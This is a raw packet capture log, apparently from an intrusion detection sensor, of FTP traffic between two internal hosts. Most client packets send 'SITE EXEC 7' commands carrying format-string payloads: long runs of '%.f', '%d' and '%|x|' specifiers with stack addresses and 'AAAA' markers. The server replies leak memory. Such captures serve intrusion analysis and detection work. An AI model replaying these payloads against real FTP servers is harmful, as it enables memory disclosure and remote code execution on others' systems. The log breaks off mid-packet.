25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.585175 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1296 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC987506E Ack:
0x4DD74746 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488860 490875
53 49 54 45 20 45 58 45 43 20 37 20 AC B2 FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.589713 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x304
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12120 IpLen:20
DgmLen:758 DF
***AP*** Seq: 0x4DD74746 Ack:
0xC987526D Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490885 488860
32 30 30 2D 37 20 AC B2 FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F x|______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 7C 78 7C 5F 5F 5F 5F 5F 5F 5F 5F ____%|x|________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
0D 0A ..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.619412 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800 len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1297 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987526D Ack:
0x4DD74A08 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488862 490885
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.619515 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12121 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD74A08 Ack:
0xC987526D Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490888 488862
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
AC B2 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.714426 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1298 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987526D Ack:
0x4DD74C0D Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488864 490888
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.719066 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x1F7
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1299 IpLen:20
DgmLen:489 DF
***AP*** Seq: 0xC987526D Ack:
0x4DD74C0D Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488864 490888
53 49 54 45 20 45 58 45 43 20 37 20 54 D0 FF FF SITE EXEC 7 T...
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 7C 25 %.f%.f%.f%.f%d|%
2E 34 73 7C 0A .4s|.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.722315 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x282
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12122 IpLen:20
DgmLen:628 DF
***AP*** Seq: 0x4DD74C0D Ack:
0xC9875422 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490898 488864
32 30 30 2D 37 20 54 D0 FF BF 2D 32 2D 32 30 30 200-7 T...-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 7C FF 2A 05 08 7C 0D 0A 23616611|.*..|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.749224 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1300 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9875422 Ack:
0x4DD74E4D Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488866 490898
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.749316 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x1FD
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12123 IpLen:20
DgmLen:495 DF
***AP*** Seq: 0x4DD74E4D Ack:
0xC9875422 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490901 488866
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
54 D0 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 T...%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 7C 25 2E 34 73 7C 27 29 0D 0A d|%.4s|')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.845387 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1301 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9875422 Ack:
0x4DD75008 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488868 490901
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.849071 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x216
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1302 IpLen:20
DgmLen:520 DF
***AP*** Seq: 0xC9875422 Ack:
0x4DD75008 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488868 490901
53 49 54 45 20 45 58 45 43 20 37 20 41 41 41 41 SITE EXEC 7 AAAA
50 73 50 73 42 41 41 41 50 73 50 73 43 41 41 41 PsPsBAAAPsPsCAAA
50 73 50 73 44 41 41 41 25 2E 66 25 2E 66 25 2E PsPsDAAA%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
